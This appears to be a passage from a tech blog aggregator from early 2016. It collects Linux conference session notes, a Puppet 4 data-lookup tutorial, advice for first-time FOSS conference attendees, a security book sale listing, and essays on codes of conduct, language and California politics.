    • Driver in Linux 4.1 (good in 4.3)
    • Just works!
    • Building up smaller batches to test
    • Hoping around $30


  • Thanks to Speakers
  • Clarification about the Speaker Gifts
  • Thanks to Sponsors
  • Raffle – $9680 raised
  • SFC donations with “lcabythebay” in the comment field will be matched (twice) in next week or two.
  • Thanks to Main Organisers from LCA President
  • 2017
    • Hobart
    • January 16th-20th 2017
    • At the Wrest Point casino convention centre. Accommodation on site and at Student accommodation
  • Thanks to various people
  • is the video setup


by simon at February 05, 2016 05:24 AM 2016 – Friday – Session 2

Free as in cheap gadgets: the ESP8266 by Angus Gratton

  • I missed the start of the talk but he was giving a history of the release and getting software support for it.
  • Arduino for ESP8266 very popular
  • 2015-2016 maturing
  • Lots of development boards
    • Sparkfun ESP8266 thing, Adafruid Hazaah, WeMOS D1
  • Common Projects
    • Lots of lighting projects, addressable LED strips
    • Wireless power monitoing projects
    • Copy of common projects. Smoke alarm project
    • ESPlant – speakers project built in Open Hardware Miniconf – solar powered gardening sensor
    • Moodlight kickstarter
  • Shortcomings
    • Not a lot of documentation compared to other micro-controllers. 1/10 that of similar products
    • Weird hardware behaviour. Unusual output
    • Default baud rate 74880 bps
    • Bad TLS – TLS v1.0, 1.1 only , RSA 512/1024 . 2048 might work
    • Other examples
  • FOSS in ESP8266
    • GCC , Lua , Arduino, Micro Python
    • axTLS , LWIP, max80211, wpa_supplicant
    • Wrapped APIs, almost no source, mostly missing attribution
    • Weird licenses on stuff
  • Does this source matter?
    • Anecdote: TLS random key same every time due to bad random function (later fixed). But still didn’t initially use the built-in random number generator.
  • Reverse Engineering
    • Wiki , Tools: foogod/xtobjdis , ScratchABit , radara2 (soon)
    • esp-open-rtos – based on the old version that was under MIT
    • mbedTLS – TLS 1.2 (and older) , RSA to 4096 and other stuff. Audited and maintained
    • Working on a testing setup for regression tests
  • For beginners
    • Start with Ardino
    • Look at dev board
  • Future
    • Hopefully other companies will see success and will bring their own products out
    • but with a more open licenses
    • ESP32 is coming, probably 1y away from being good and ready

secretd – another take on securely storing credentials by Tollef Fog Heen

  • Works for fastly
  • What is the problem?
    • Code can be secret
    • Configuration can be secret
    • Credentials are secret
  • Secrets start in the following and move to the next..
    • directly code
    • then a configuration file
    • then an pre-encrypted store
    • then an online store
  • Problems with stores
    • Complex or insecure
    • Manual work to re-encrypt
    • Updating is hard
    • Not support for dev/prod split
  • Requirements for a fix
    • Dynamic environment support
    • Central storage
    • Policy based access controls, live
    • APIs for updating
  • Use Case
    • Hardware (re)bootstrapping
    • Hands-of/live handling
    • PCI: auditing
    • Machine might have no persistent storage
  • Options
    • pwstore – pre-encrypted
    • chef-vault – pre-encrypted
    • Hashicorp Vault – distributed, complex, TTL on secrets
    • etcd – x509
  • Secretd
    • go
    • SQL
    • ssh
    • tree structure, keys are just strings
    • positive ACLs
    • PostgressSQL backend
    • Apache Licensed
  • Client -> json over ssh -> secret-shell -> unix socket ->  secretd -> postgressSQL
  • Missing
    • Encrypting secrets on disk
    • Admin tools/other UIs
    • Auditing
    • Tool integration
    • Enrolment key support
  • Demo
  • Questions:
    • Why not sqlite? – Cause  I wanted at database. Postgres more directly supported the data structure I wanted, also type support
    • Why do just use built-in postgress security stuff? – Features didn’t exist a year ago, also requires all users must exist as DB users.



by simon at February 05, 2016 03:04 AM

February 04, 2016

Simon Lyall 2016 – Friday – Session 1

Keynote – Genevieve Bell

  • Building the Future
  • Lots of rolls as an Anthropologist at Intel over last 15 years or so
  • Vision of future from 1957 shows what the problems are in 1957 that the future would solve
  • Visions of the future seem very clean and linear, in reality it is messy and myriad.
  • ATM machine told her “Happy Birthday”
  • Imagining “Have you tried turning it off and on again?” at smart city scale is kind of terrifying.
  • Connectivity
    • Many people function well when they are offline, some people used to holiday in places with no cell reception
    • Social structures like Sabbath to give people time offline, but devices want us to be always online
    • Don’t want to always have seamless between devices, context matters. Want work/home/etc split
  • IOT
    • Technology lays bare domestic habits that were previously hidden
    • Who is else knows what you household habits are -> Gossip
  • Big Data
    • Messy , incomplete, inaccurate
    • Average human tells 6-200 lies per day
    • 100% of Americans lie in online profiles
      • Men lie about height, Women lie about weight
    • More data does not equal more truth. More data just means more data
  • Algorithms
    • My optimise for the wrong things (from the user’s point of view)
  • Security and Privacy
    • Conversation entwined with conversation about National Security
    • Concepts different from around the world
    • What is it like to release data under one circumstance and then to realise you have released it under several others
  • Memory
    • Cost of memory down to zero, we should just store everything
    • What are the usage models
    • What if everything you ever did and said was just there, what if you can never get away from it. There are mental illnesses based on this problem
  • Innovation
    • What is changing? to whose advantage and disadvantage? what does this mean to related areas?
    • Our solutions need to be human
    • We are the architects of our future
  • Question
    • Explain engineers to the world? – Treated first year at Intel like it was Anthropology fieldwork. Disconnect between what people imagine technologists think/do and what they really do. Need to explain what we do better

Helicopters and rocket-planes by Andrew Tridgell

  • The wonderful and crazy world of Open Autopilots
  • Outback Challenge
    • 90km/h for 45 minutes
    • Search pattern for a lost bushwalker with UAV
    • Drop them a rescue package
    • 2016 is much harder VTOL, get blood sample. Most do takeoff and landing remotely (30km from team).
    • “Not allowed to get blood sample using a propeller”
  • VTOL solutions – Helicopters and Quadplanes – tried both solutions
    • Communication 15km away, 2nd aircraft as a relay
    • Pure electric doesn’t have range. 100km/h for 1h
  • Helicopters
    • “Flying vibration generators with rotating swords at the top”
    • Hard to scale up which is needed in this case. 15cc motor, 2m blades, 12-14kg loaded
    • Petrol engines efficient VTOL and high energy density
    • Very precise control, good in high wind (competition can have ground wind up to 25 knots)
    • Normal stable flight vibrates at 6G , show example where in a couple of seconds flight goes bad and starts vibrating at 30+ G in a few seconds due to control problem (when pitch controller was adjusted and then started feedback loop)
  • Quadplanes
    • Normal Plane with wings but 4 virtually pointing propellers added
    • Long range, less vibration
    • initially two autopilots plus one more co-ordinating
    • electric for takeoff, petrol engine for for long range forward flight.
    • Hard to scale
    • crashed
  • Quadplane v2
    • Single auto-pilot
    • avoid turning off quad motors before enough speed from forward motor
    • Pure electric for all motors
    • Forward flight with wings much more efficient.
    • Options with scale-up to have forward motor as petrol
  • Rockets
    • Lohan rocket plane – Offshoot of The Register website
    • Mission hasn’t happened yet
    • Balloon takes plane to 20km, drops rocket and goes to Mach 2 in 8 seconds. Rocket glides back to each under autopilot and lands at SpacePort USA
    • 3d printed rocket. Needs to wiggle controls during ascent to stop them freezing up.
    • This will be it’s first flight so has autotune mode to hopefully learn how to fly for the first time on the way down
  • Hardware running Ardupilot
    • Bebop drone and 3DR solo runs open autopilot software
    • BBBmini fully open source kit
    • Qualcom flight more locked down
    • PXFMini for smaller ones
  • Sites

The world of 100G networking by Christopher Lameter

  • Why not?
    • Capacity needed
    • Machines are pushing 100G to memory
    • Everything reqires more Bandwidth
  • Technologies
    • Was 10 * 10G standards CFP Cxx
    • New standard is 4 * 28Gs QSFP28 . compact and designed to replace 10G and 40G networking
    • Inifiband (EDR)
      • Most mature to date, switches and NICs available
    • Ethernet
      • Hopefully available in 2016
      • NICS under dev, can reuse EDR adapter
    • OmniPath
      • Redesigned to try replace infiband
    • Comparison connectors
      • QSFP28 smaller
    • QSFP idea with spliter into 4 * 25G links for some places
      • Standard complete in 2016 , 50G out there but standard doesn’t exist yet.
      • QSFP is 4 cables
  • 100G switches
    • 100G x 32 or 50G x64 or 25G x 128
    • Models being released this year, hopefully
    • Keeping up
  • 100G is just 0.01ns per bit , 150ns for 1500MTU packet, 100M packets/second, 50 packets per 10 us
  • Hardware distributed packets between cores. will need 60 cores to handle 100G in CPU, need to offload
  • Having multiple servers (say 4) sharing a Nic using PCIe!
  • How do you interface with these?
    • Socket API
  • Looking Ahead
    • 100G is going to be a major link speed in data centers soon
    • Software needs to mature especially the OS stack to handle bottlenecks



by simon at February 04, 2016 11:10 PM

Sarah Allen

search, urls, and the evolution of language

“Could you search up that site?” my kid asked me many years ago, and I still remember the following exchange. I felt the need to let him know, “It’s okay to use informal language when it is just us hanging out in the kitchen, but just so you know that’s incorrect grammar, I think you meant ‘search for.'” I was surprised when he corrected me. “Search for means something different,” he said. “You search for something when you are looking for something and you aren’t sure what you’ll find. If you know exactly which website you want to find, you search up the site.” This was a very precise definition. It was the accepted usage of those particular verb phrases by all the other fourth graders or middle schoolers or whatever age they all were at the time.

I wonder whether this turn of phrase was influenced by the user interface innovation that tied search engines to the URL bar in the browser. I still remember when radio ads would spell out h t t p : / / w w w before the website name. I can’t remember if we really had to type in all those letters in Netscape 2, or what year it was when the people who make the browsers realized that of all the apps in the world, this one could actually depend on the Internet being on, and maybe we could just suggest to people what they might want. After all why do we need two huge text edit boxes on our screen, one for Uniform Resource Locators that we need to parse to find a particular machine and the other for some text so we can look across many documents on many machines.

We change how we act based on the options available to us. We adapt to the reality around us. Then when enough of us have acquired new behaviors, then we can invent new ways to interact that are only possible because of the previous generation of people and tech. Our language reflects where we are and where we have been.

I still dial my phone, even though I’m actually tapping it. I rewind videos on YouTube. I wonder as I type these words on a keyboard that was designed for mechanical key to press ink into paper… what are the literal actions of today that will become the metaphors of tomorrow?

The post search, urls, and the evolution of language appeared first on the evolving ultrasaurus.

by sarah at February 04, 2016 02:53 PM


Why extensive codes of conduct are good

Short version: We tried that, but it doesn't scale. Eventually the one person self-nominated as the sole arbiter of 'good behavior' can't keep up with everyone and has to delegate. When that happens, their subjects start complaining about inconsistent rules and their enforcement.

An extensive, written code allows people to have a chance of living up to that expectation, and understand what'll happen when they don't. This is especially important for volunteer-run organizations who don't have professional, paid enforcers.

Long version

The legal code is just that: code.

Worse, it's a code that is interpreted, not compiled, and how the lines are translated into actions changes a little every time you run through them. Any time the Supreme Interpreter issues a ruling on something, whole swaths of that code will be subject to new interpretations, which will have unpredictable side-effects. Side-effects that will trigger new code to try and handle the edge-cases.

The legal system as it exists in most countries is extensive, written, and impossible for one person to fully understand. This is why lawyers are hated, the legal system seems arbitrary, and anything fun always seems to be illegal. And if that wasn't enough, case-law is its own unwritten thing that handles edge-cases in the lack of a written code. It's no wonder we hate extensive codes of behavior.

That said, there are very good sociological reasons why a code-of-conduct like:

Be Excellent To Each Other

Is a bad code. Take, for example, a basic value judgment:

Murder is bad, and will be punished.

Pretty obvious, and common-sense. And unlike 'be excellent', is narrower in scope. And yet.

Is killing someone accidentally while driving still murder?
Is killing someone in self-defense in your home still murder, or something else?
What is the exact punishment for murder?
Do you punish accidental murders different than intentional ones?
Do you punish killers-of-children different than killers-of-adults?

And so on. This is how we end up with ideas like 'manslaughter' and many grades of murder, with different punishments for each. Without those umpty-hundred pages of legalese defining everything, the answer to all of the above questions would be in case lawwhich is inaccessible to most non-lawyers.

Short codes: Easy to understand in general. But the specifics of what it means to me are completely opaque.
Long codes: Hard to understand in general, but are much more discoverable. If I need to know what it means to me, I can find out.

Nation-states have converged on the long code for very good reasons. But what about volunteer-run organizations like SF conventions, tech-conferences, and open-source projects?

People are hard, let's just party.

Unlike nation-states, volunteer-run organizations like these aren't big enough or well funded enough to have a professional enforcement arm. Relying on peer enforcement is unavoidable, as is relying on untrained people for adjudicating misconduct. These projects can and will attract people quite willing to be enforcers, and are generally the kinds of assholes we want to avoid. The people running these things almost to a person want to avoid conflict, or as it's sometimes called, DRAMA.

If one of your goals is to provide a fun place to code, party, or discuss contentious genre issues, you need a way to bounce the assholes.

Bouncing an asshole is conflict, that thing everyone wants to avoid. When the conflict becomes egregious enough to be officially noticeable, Responsible People tend to respond in a few negative ways:

  • Pretend they didn't see it, in the hopes one of the other Responsible People will notice and do something.
  • Talk themselves into thinking that it wasn't as bad as all that.
  • Pretend they're not actually a Responsible Person, and hope the complainer doesn't notice.
  • Officially notice, but wimp out on actually causing displeasure in the complainant.
  • Hide behind a committee, most of the members of which will be doing one or more of the four previous points.

If you have a "be excellent" code of conduct, point number 2 is where all the Official Drama will go to die; leaving a whole bunch of 'petty highschool bulllshit' to get in the way of the coding, party, or genre discussions. You will have assholes among you, but that's better than being the specific person who ruined someone's day (even if they are an asshole).

If you have a written code with if this BAD then that HARM in it, it allows the drama-avoidant Responsible Person too look at it and say:

Oh shit, this totally applies. Fuckity fuck fuck.

And actually do something about it. Which means, as it was written down, they know what that 'something' is. They may still try to pretend they never saw anything and hope someone else does, but having it written down makes it more likely that the next Responsible Person will do something. It also means that the committee meeting is much more likely to act in consistent ways, and maybe actually bounce assholes.

This is why we keep pressing for details in those codes of conduct. It allows the Responsible People to hide behind the policy as a shield to deflect the displeasure of the punished, and actually provide meaningful direction for the culture of the volunteer-run organization. You deserve that.

by SysAdmin1138 at February 04, 2016 01:52 PM

February 03, 2016


Puppet 4 data lookup strategies

I recently wrote about the new Data in Modules support in Puppet 4, there’s another new feature that goes hand in hand with this to finally rid us of functions like hiera_hash() and such.

Up to now we’ve had to do something ugly like this to handle merged class parameters:

class users($local = hiera_hash("users::local", {}) {

This is functional but quite ugly and ties your module to having hiera. While these days it’s a reasonably safe assumption but with the ability to specify different environment data sources this will not always be the case. For example there’s a new kid on the block called Jerakia that lives in this world so having Hiera specific calls in modules is going to be a limiting strategy.

A much safer abstraction is to be able to rely on the automatic parameter lookup feature – but it had no way to know about the fact that this item should be a hash merge and so the functions were used as above.

Worse things like merge strategies were set globally, a module could not say a certain key should be deep merged and others just shallow merged etc, and if a module required a specific way it had no control over this.

A solution for this problem landed in recent Puppet 4 via a special merged hash called lookup_options. This is documented quite lightly in the official docs so I thought I’ll put up a example here.

lookup() function

To understand how this work you first have to understand the lookup() function, it’s documented here. But this is basically the replacement for the various hiera() functions and have a matching puppet lookup CLI tool.

If you wanted to do a hiera_hash() lookup that is doing the old deeper hash merge you’d do something like:

$local = lookup("users::local", Hash, {"strategy" => "deep", "merge_hash_arrays" => true})

This would merge just this key rather than say setting the merge strategy to deeper globally in hiera and it’s something the module author can control. The Hash above describes the data type the result should match and support all the various complex composite type definitions so you can really in detail describe the desired result data – almost like a Schema.

There are much more to the lookup function and it’s CLI, they’re both pretty awesome and you can now see where data comes from etc, I guess there’s a follow up blog post about that coming.

lookup_options hiera key

We saw above how to instruct the lookup() function to do a hiera_hash() but wouldn’t it be great if we could somehow tell Puppet that a specific key should always be merged in this way? That way a simple lookup(“users::local”) would do the merge and crucially so would the automatic parameter lookups – even across backends and data providers.

We just want:

class users(Hash $local = {}) {

For this to make sense the users module must be able to indicate this in the data layer. And since we now have data in modules there’s a obvious place to put this.

If you set up the users module here to use the hiera data service for data in modules as per my previous blog post you can now specify the merge strategy in your data:

# users/data/common.yaml
    strategy: deep
    merge_hash_arrays: true

Note how this match exactly the following lookup():

$local = lookup("users::local", Hash, {"strategy" => "deep", "merge_hash_arrays" => true})

The data type validation is done on the class parameters where it will also validate specifically specified data and the strategies for processing the data is in the module data level.

The way this works is that puppet will do a lookup_options lookup from the data source that is merged together – so you could set this at site level as well – but there is a check to ensure a module can only set keys for itself so it can not change behaviours of other modules.

At this point a simple lookup(“users::local”) will do the merge and therefore so will this code:

class users(Hash $local = {}) {

No more hiera_hash() here. The old hiera() function is not aware of this – it’s a lookup() feature but with this in place we’ll hopefully never see hiera*() functions being used in Puppet 4 modules.

This is a huge win and really shows what can be done with the Data in Modules features and something that’s been impossible before. This really brings the automatic parameter lookup feature a huge way forward and combines for me to be one of the most compelling features of Puppet 4.

I am not sure who proposed this behaviour, the history is a bit muddled but if someone can tweet me links to mailing list threads or something I’ll link them here for those who want to discover the background and reasoning that went into it.


The lookup function and the options are a great move forward however I find the UX of the various lookup options and merge strategies etc quite bad. It’s really hard for me to go from reading the documentation to knowing what a certain option will do with my data – in fact I still have no idea what some of these do the only way to discover it seems to be just spending time playing with it which I haven’t had, it would be great for new users to get some more clarity there.

Some doc updates that provide a translation from old Hiera terms to new strategies would be great and maybe some examples of what these actually do.

by R.I. Pienaar at February 03, 2016 10:35 AM

The Geekess

First timer’s guide to FOSS conferences

AdaCamp Model Release Agreers

I’ve been going to FOSS conferences since 2006. My first open source conference was FreedomHEC in Seattle, a little 30-person conference for Linux users to protest Microsoft’s WinHEC. My next open source conference was OSCON, which had over a thousand attendees. They were both very different conferences, and as a college student, I really didn’t know what to expect. Going to your first open source conference can be intimidating, so I’ve complied ten tips for people who are new to the conference circuit.

Rule #1: The Hallway Track Matters Most

Conference talks are great because they teach you new skills or give you ideas. However, what conference talks are really for is giving you additional topics of conversation to chat with your fellow conference goers with. Hanging out after a talk ends to chat with the speaker is a great way to connect with speakers or fellow attendees that are passionate about a particular subject.

Why do I downplay conference talks? Because it’s really the networking at a conference that matters. The “hallway track” is where you’ll talk to fellow open source contributors, find your next job, or get excited about a new project. If you were only here for the talks, you would save yourself the travel expenses and sit in bed watching the livestream of the talks. So your first focus should be on the people at the conference.

There’s a lot of ways to maximize the networking you do. One small trick is to make sure you have a pen and physical paper cards. Moo cards are great, because you can add pictures to the front of the card. Maybe you want to add a picture of your latest circuit layout. Or travel pictures, so you can have an additional conversation starter. However, I would avoid putting a picture of yourself in a business suit on the front. I’ve seen one card that used that trick, and while it was great for identifying the person I talked to, it felt really pretentious.

When you receive someone’s business card, write down the reason you need to get a hold of them on the card, and any identifying information you need to remember who they are. You’ll thank yourself two weeks later when you recover from con fatigue and find a stack of forgotten business cards. I’ve tried using digital barcodes on my phone to redirect people to a business card page on my blog, but it takes too long for people to fiddle with their phones and it feels really awkward. Paper cards are old school, but they work best. I’ve also seen some hardware hackers print circuit board business cards. Those are really neat and memorable, but cost more and don’t allow people to write on them.

To optimize your networking, follow the one to many rule. If you mostly hang out with groups of people you know, you won’t end up making many new contacts. What you really want to find is a group of people that has one or two people you know, who can introduce you around. If you’re already in a group, face your body slightly outwards and a bit away from the person next to you, leaving the group open to new members.

If you don’t know anyone, you can stand around the coffee/snack/water table and drink/eat while you see if there are interesting conversations you can insert yourself into. Moving into a group of chairs and asking someone nearby if the chair is taken can be a good way to try and start a conversation about how the conference is going. If you find out someone is a speaker, you have an automatic topic of conversation later when you ask them how their talk went. Approaching a stranger with the question, “I love that sticker on your laptop, where did you get it?” is always a good way to get someone to talk about something they’re passionate about.

Rule #2: It’s OK to Skip a Session

Maybe you’re having an awesome conversation. Maybe you skipped lunch and you desperately need food. Or you’re speaking later in the day and you want to go over your slides one more time. It’s fine to skip a session. I promise you won’t miss out on much.

Rule #3: Triple Conflict Sessions Are Common

Conference schedules are a feast or famine affair. There’s usually at least two sessions where I’m not interested in any of the talks, and two more sessions where there are three talks I want to attend. Scheduling is the bane of conference organizer’s existence (it’s an NP complete problem!) so cut them some slack.

When I am triple booked, I’ll go to the talk on a subject I’m least familiar about. Conferences are a place to learn, and a place to network with experts, so it’s better to go to a talk on a new topic you’re interested in. The only exception I make with this rule is if the triple booked session is in the late afternoon. At that point, my brain is full of new knowledge, and it’s better if I watch the new topic talk as a video later.

Rule #4: Care and Feeding of Introverts

Most conferences start around 9am or 10am, include a break for lunch (either provided by the conference, or on your own at local restaurants), continue until 5pm or 6pm, and then have evening events from 7pm until around 10pm or 11pm. A lot of conference goers then go drink and chat until the wee hours of the morning.

I know a lot of geeks who don’t attend big parties at home, but get all their socialization in during the conference season. It can be exhausting as an introvert to attend a conference. It’s not just that there’s a whole lot of people, it’s that there’s a whole lot of strangers, and that can trigger social anxiety.

If you’re an introvert (like me), there’s a couple of different ways you can take care of yourself. Personally, my social batteries get pretty low around mid-afternoon. If I don’t recharge, I know I’ll be a untalkative zombie during the evening social events. Every day, when I’m planning out my conference schedule, I deliberately pick one uninteresting afternoon session to go back to my hotel room and take a nap. If my hotel room is too far, I carry a headband to cover my eyes and unabashedly take a nap on a conference bench. Those naps have seriously saved my life.

Evening events are always a game of chance for me. As an introvert, the best evening events for me are ones that center around an activity. Some of my favorite evening events at conferences have been bowling, wandering around a museum, playing arcade games and DDR, going for a boat ride, and playing board games. My least favorite conference evening events are the booze-filled bar crawls. When my anxiety at being crushed in a giant crowd of strangers is coupled with a throng of drunk dude-bros that are shouting at each other over the loud music, I last about an hour before I flee. It’s perfectly fine to retreat back to your hotel room. It’s also acceptable to find fun people to flee with, or even arrange to meet said fun people elsewhere and avoid the crowds.

Rule #5: Care and Feeding. Period.

When I first started going to conference, I wanted to see all the talks, talk to all the people, and do all the events. However, a lot of conferences don’t allow enough time at lunch to get food from restaurants. If you want to make the sessions before and after lunch, that typically means eating some crappy food at the convention center, and rushing off without talking to people. Rule #1 applies, so what you really want to do is be at peace with coming late into the afternoon talks, and wander off with some interesting people to chat over a leisurely, healthier lunch.

I’m not going to lie, a lot of people at conferences drink at evening events. Some of them don’t, and honestly, some of the most fun I’ve had has been hanging out and bonding with other non-drinkers. Many geeks don’t drink all that much at home, but tend to throw back A LOT of drinks when they’re paid for out of some start up or big company’s budget instead of their own pocket. If you don’t feel comfortable in that situation, make sure you come with a buddy or another non-drinker.

If you do drink, take care of yourself. Drink water, take some vitamins, and have a plan for getting back to your hotel in a foreign city. Due to past experience with the morning after impacts of heavy drinking, I always pack an extra pair of jeans. They add weight to your suitcase, but having an additional pair of pants is better than washing vomit out of your only pair of pants and then ironing them dry before you rush off to your flight. Did I mention I don’t drink much any more?

The morning after evening events are brutal. Not gonna lie, I’ve never made breakfast plans at a conference. I do often find people to eat with in the hotel breakfast buffet, but I never make firm plans because I don’t know how long I need to sleep. Sometimes I skip the hotel breakfast and just head straight to the conference. On those days, I’m really glad I packed myself breakfast bars.

Basically, you need to be a soccer mom to yourself. Pack yourself a water bottle and food, and maybe some fruit snacks and animal crackers. 😉

Rule #6: Trust the Whisper Network

Conferences are full of people who are interesting, and occasionally house people who are known harassers. As a newcomer to a conference, you’re likely to be targeted because you don’t know who those harassers are. Trust your gut if something feels off. Recognize when someone is trying to isolate you, test your boundaries, or ply you with alcohol. Know whether your conference has a Code of Conduct, and program in the email or phone number of the CoC contact into your phone, along with the local police non-emergency numbers. Figure out how to identify conference organizers, and make friends with minorities and women who have been to the conference in the past. It’s likely they will know who you should avoid, even if they can’t publicly talk about it because they might get sued for libel.

Rule #7: Know Your Conference Perks

Did you know that most conferences have a travel budget? That’s right, if you’re a speaker or a student or a member of an underrepresented group in open source, you may be able to get your conference travel paid for. Organizers will usually pay for conference fees, sometimes pay for airfare (it may be harder to get them to pay for international travel), and may pay for hotel and hood. If you’re a well-recognized speaker who has been invited to give a talk or keynote, organizers may also pay you a stipend (the amount of which is usually negotiable).

Some (but not many) conferences have consuites where any attendee can get free food. Others provide lunch. Some conferences have evening events with free food. If you’re a speaker, find the speaker’s lounge, which usually has coffee and cookies and other interesting speakers to talk to.

Rule #8: Swag is a Double-edged Sword

Do you really need another beer bottle opener? Are you willing to lug home a dozen t-shirts that don’t fit? When someone asks what that sticker is on your laptop, will you lose geek cred because you slapped some company’s brand on your property without actually using their product?

The downside of all that free stuff is that it’s actually a ploy to provide companies with your contact information. A new trick for conferences is to include a bar code on the badge with your personal information on it. Booth wranglers will scan your badge, and do whatever they want with that information. Give it to recruiters, sign you up for their email lists, or even give that information to third parties. Do you know what’s on your badge bar code? Could a stalker glean information like your phone number and zip code from it? You can always choose to take a pen to the bar code, and booth people should still give you all the freebies and manually sign you up for entry into any giveaways.

Rule #9: Follow up

You’ve met a bunch of awesome people, gathered a stack of business cards, and gotten in contact with recruiters at a fascinating new company. After the conference is over, it’s time to follow up. It’s best to wait at least a couple days, so that people traveling can get back home and start shoveling through their overflowing inboxes. Waiting more than two weeks is probably not the best practice for most conference contacts, but that may be an appropriate amount of time if you’re following up with someone you have given your resume to.

Rule #10: Project Passion Explosion

Conferences are a slew of new ideas. You’re likely to be introduced to a whole bunch of new projects and interesting people. The best conferences are the ones where you feel like your brain is on fire with all the new projects you want to do. However, be reasonable about your time commitments. Don’t try to start more than one project after a convention. Wait a week or two and see if you’re still passionate about the project before you start on it. Unless it’s a time machine. Please start on that right away, because every conference goer needs one.

by sarah at February 03, 2016 03:27 AM

February 02, 2016


New Books, and Even Audio and Video Courses, Added to Library Sale

I've been thrilled by the response to my 20 Best Tech Titles Left in My Library Sale, trying to update the original post as readers take advantage of the titles still left in my library. It was time to take another pass, relist the titles from the first post, add new ones, and include a few other items that might appeal to the intelligence of my readership. In that spirit, here is what you see above, as of approximately 1:45 AM ET.

Running IPv6ReviewBuy. The author writes very clearly, in a multi-OS manner.

Crimeware: Understanding New Attacks and DefensesReviewBuy. I wrote "Crimeware is an impressive examination of malware, on a variety of fronts."

The Best of Freebsd BasicsReviewBuy. I wrote "If you are a beginner to intermediate FreeBSD user, you will find this book invaluable. If you are an advanced user, you may find a helpful tip or two as well."

Absolute OpenBSD: Unix for the Practical Paranoid, Second EditionBuy. New condition, except signed by author.

DNSSEC Mastery: Securing the Domain Name System with BINDBuy. New condition, except signed by author.

FreeBSD Mastery: Storage Essentials. Buy. New condition, except signed by author.

Sudo Mastery: User Access Control for Real PeopleBuy. New condition, except signed by author.

SSH Mastery: OpenSSH, PuTTY, Tunnels and Keys. Buy. New condition, except signed by author.

Visible Ops Security: Achieving Common Security And IT Operations Objectives In 4 Practical Steps. Buy

The Visible Ops Handbook: Implementing ITIL in 4 Practical and Auditable Steps. Buy

CISSP Study Guide, Second Edition. Buy

A Guide to Forensic Testimony: The Art and Practice of Presenting Testimony As An Expert Technical Witness. Buy

Recent Advances in Intrusion Detection: 6th International Symposium, RAID 2003, Pittsburgh, PA, USA, September 8-10, 2003, Proceedings (Lecture Notes in Computer Science). Buy

Computer Incident Response and Product Security. Buy.

IT Security Metrics: A Practical Framework for Measuring Security and Protecting Data. Buy.

Network Intrusion Detection (3rd Edition). Buy

Rootkits. Buy.

Designing BSD Rootkits. Buy.

802.11 Wireless Networks, the Definitive Guide (2nd Ed). Buy.

I still have several copies of my newest book, The Practice of Network Security Monitoring, in multiple languages: 

If you would like any of these books signed, please let me know via "seller feedback" after buying, and I will sign them before shipping. 

I'm afraid I'm only shipping within the US. Everything I'm selling is listed here, including the various "Great Courses" from the Teaching Company at the far right side of the photo. It's way too late for me to list those now, but I will probably add them Sunday.

Richard Bejtlich on Click the "products" tab to see listings.

If you order by midnight ET Sunday night, I will get the packages in the mail before work Monday morning.

If you have any questions, please leave a comment here. Enjoy!

by Richard Bejtlich ( at February 02, 2016 01:31 AM

February 01, 2016


Why I'm not moving to California

Many companies I would like to work for are based there and have their only offices there, so this stance limits who I can work for. Remote-friendly is my only option, and happily that segment has enough demand I can still find gainful employment in the largest IT market in the US. There are two big reasons for why I won't move to California:

  1. I couldn't stay married if I moved.
  2. The California political system is functionally broken.

Number one doesn't make for a long blog-post, so I'll skip it to focus on the second point.

A failure of democracy: the initiative system

Democracy goes to those who show up.

Government goes to those who show up, are well organized, and have funding.

The initiative process for those of you who aren't familiar with them, is a form of plebiscate. Many western US states have initiative processes, as they were a trendy topic when the western territories were applying to become states. They're seen as a more pure form of democracy than representative democracy, which is what the rest of the US political system is based on. If a group of citizens can gather enough signatures for a bit of legislation, they can get that legislation passed in the next election; in most cases, such legislation can not be overridden by the State legislature.

The intent here is to provide a check on the overriding power of the State legislature, which at the time had a tendency to be captured by industrial interests. Rail-barons and monopolists were a real thing, after all.

With the advent of modern media, a much larger percentage of the population is reachable with relatively little effort compared to the 1910's. In 1910, a special interest (be it a railroad, oil company, or anti-gambling crusader) found their biggest impact on public policy was by lobbying state legislators and other public officials. Best bang for their buck, and didn't require an army of canvassers and hawkers. That didn't stop grassroots organizers from trying to push public policy, they just weren't very good at it; 1914 had 46 initiatives on it, of which 6 passed.

Since the 1910's changes to the initiative process have been made to ensure only initiatives with broad enough public support would be put on the ballot, as voters were getting tired of spending half an hour to vote and way longer in voting-place lines. With modern media, scrounging enough signatures to get a special-interest initiative on the ballot is an intensive advertising campaign away. If an interest can get an initiative passed, the State Legislature can't do anything about it other than live with the impacts.

Democracy goes to those who show up, are organized, and have funding.

Initiative sponsors are the very special interests the initiative process was designed to oust. This leads to initiatives focusing on narrow pieces of government, that over time build a hodge-podge legal system that makes it hard to function.

Raising certain taxes requires a 2/3rds super-majority.
Oh, how about if we ensure budgets have a broad consensus, and require budget-bills be passed with a super-majority.
Education spending is the basis of a healthy population, protect that funding from budget-cuts.
Three felony strikes, and you're outta the public eye for life!
Okay, that's a lot of people serving life sentences, perhaps drug-offenders can get treatment instead.

And so on. It's the kind of code-smell (legal code is still code) that makes you itch to refactor, but refactoring requires going before a committee of managers, some of whom don't know how the system works anymore and are the kind of manager that others need to keep happy.

All of this leads to a government that has to jump through too many hoops, or require unreasonable levels of cooperation between the political parties, to be effective. I don't want to live in a place with government that broken.

There are calls for California to flush it all and rewrite it from scratch have a constitutional convention to deal with this mess, but it hasn't happened yet.

And then there is the Bay Area

To the tech industry, the rest of the state doesn't matter so I'm not going to talk about it.

Did you know that you can do local initiatives too? You bet. But when you get to local politics, only the most invested of interests show up, which selects for existing property owners looking to increase value. Not In My Back Yard is an impulse every city-council meeting has to grapple with. Due to the money involved in the Bay Area, ideas that sound good so long as you're not next door to them get little traction. The few that do end up getting passed face well funded lawsuits by property-owners looking to undo it.

Office-rents in SFO already exceed those of Manhattan. For residential housing, if you can get a mortgage, you're almost certain to be paying more than $2000/mo on it. For renters, over 40% of them are paying more than 30% of their income on the rent (based on US Census data from 2014). Non-census sources suggest rents are even higher, with 2BR units going for north of $3500 on average. To support a housing-payment of $3500/mo, you need to be making $140K/year at least in household-income. For those of us who are single-income families, even Bay Area salaries mean I'll be spending two or more hours a day commuting to work.

Also, San Francisco is the #1 renter-hostile market according to Forbes. San Jose and Oakland take the net two spots. Once you've found a place you can afford, there is zero guarantee it'll still be there in a year or you'll have the same rent.

In the way of big-city in-fill, unit sizes are getting smaller all the time as the available space shrinks.

Impacts to things people generally don't care about, like 401k contributions

There is a funny thing that happens when you make $140K/year, you start running into limits to how you can contribute to your retirement.

If you make more than $132K/year, and are single, you can't contribute to a Roth IRA. But that's a minor thing, since most people are married by the time they hit their 30's, and the limit for household is $189K/year.

